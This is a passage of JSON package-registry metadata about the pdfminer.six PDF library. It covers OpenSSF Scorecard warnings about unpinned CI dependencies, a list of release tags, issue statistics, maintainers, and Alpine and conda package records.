.github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:09.714Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":13.38644564324247,"stargazers_count":3.3653674395341358,"forks_count":3.4332464006287733,"average":5.046264870851345},"purl":"pkg:apk/alpine/py3-pdfminer-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=edge","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-pdfminer-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-pdfminer-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-pdfminer-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-pdfminer-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-pdfminer-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-pdfminer-pyc/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":"clandmeter@alpinelinux.org","url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":197,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2023-04-29T07:21:20.733Z","updated_at":"2023-04-29T07:21:20.733Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-edge","url":"https://pkgs.alpinelinux.org/packages?branch=edge","ecosystem":"alpine","default":false,"packages_count":39449,"maintainers_count":884,"namespaces_count":3,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community","testing"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.616Z","updated_at":"2026-04-27T18:20:22.267Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/namespaces"}},{"id":5289801,"name":"pdfminer.six","ecosystem":"conda","description":"Pdfminer.six is a community maintained fork of the original PDFMiner. It is a tool for extracting information from PDF documents. It focuses on getting and analyzing text data. Pdfminer.six extracts the text from a page directly from the sourcecode of the PDF. It can also be used to get the exact location, font or color of the text.","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":null,"versions_count":14,"first_release_published_at":"2019-04-19T18:23:03.000Z","latest_release_published_at":"2022-11-05T19:06:37.000Z","latest_release_number":"20221105","last_synced_at":"2026-04-01T03:21:57.592Z","created_at":"2022-10-03T15:48:12.022Z","updated_at":"2026-04-01T03:21:57.592Z","registry_url":"https://anaconda.org/conda-forge/pdfminer.six","install_command":"conda install -c conda-forge pdfminer.six","documentation_url":null,"metadata":{},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfm